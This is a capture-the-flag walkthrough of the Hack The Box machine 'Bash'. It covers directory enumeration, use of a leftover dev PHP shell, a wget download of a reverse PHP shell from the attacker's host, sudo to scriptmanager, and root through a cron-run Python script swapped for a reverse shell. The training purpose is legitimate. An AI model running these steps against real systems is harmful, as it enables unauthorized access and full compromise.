HTB: Bash Writeup w/o Metasploit

cyber shinobii
4 min readDec 3, 2021

--

Reconnaissance

First things first, let’s kick off an nmap scan to see what services/ports may be available.

nmap version scan

We can see that port 80 is the only port available at the moment. This could make the day easy or difficult. After looking around on the website we didn’t find any information to gain access to the server. So what next? Since we’re dealing with a webserver let’s run gobuster, a directory scan.

gobuster dir -u “$dir” -w /usr/share/wordlists/dirb/common.txt

Enumeration

Gobuster shows us a few other urls. Going through them step by step we find some interesting php scripts under /dev. The scripts give us shell access to the server. Since it’s under “dev” this access may have been setup during development of the webpage. The developers probably forgot to remove this directory before putting the webservers in production.

10.10.10.68/dev/

With the access we get as www-data we are able to read the user.txt flag.

/home/arrexel/user.txt

Privilege Escalation

We don’t have permission to access the root directory. After some enumeration we eventually learned that this account (www-data) has sudo privilege to use the scriptmanager account. However, we weren’t able to switch users from the web browser. So we used python to create a webserver (python -m http.server 8000) on our local host to host a reverse php shell. Afterwards we used wget (wget http://10.10.14.13:8000/tiny.php) to retrieve the script from our session, and launch it by accessing the it’s web page (10.10.10.68/uploads/tiny.php).

used wget to download a reverse php shell in /var/www/html/uploads

After getting shell access, we do our default check of our permissions using “sudo -l.”

run sudo -l to check permissions

You can see we are able to run commands as the scriptmanager user. So let’s switch over to that account with “sudo -u scriptmanager /bin/bash.”

switch to scriptmanager

After doing more enumeration (you can probably run linpeas.sh here as well) we found a scripts directory under root.

/scripts directory

There is a python script here (test.py)that is opening a file called “test.txt” and then writing to it. And we have write permissions to the file. Also, if you pay attention, you’ll notice that the test.txt file is being updated every minute. I tried to check the cronjobs but there’s nothing for the users we have access to. But there has to be a job running the python script every minute. And since the file is updated every minute with root as the user and group, I’m assuming there’s a root cronjob that’s running the python file.

If our assumptions on root running the cronjob is right, then all we should have to do here is change the contents of test.py and let the cronjob run it to get root access. We just have to start up a python server, from our local machine, to host a test.py file containing a reverse python script.

updated test.py file under /scripts

After transferring the file we could use netcat to start up a listener to waiting for the cronjob to

root access

Conclusion

There wasn’t too many loopholes here. The vulnerability was the php script left behind by the “developers.” Abusing that allowed us to transfer a php shell to gain access. After gaining access we learned that www-data has sudo privilege to run commands as scriptmanager. Switching to scriptmanager and assessing the /scripts directory, we were able to swap out the contents of test.py (running from a cronjob) with our python reverse shell from here.

--

--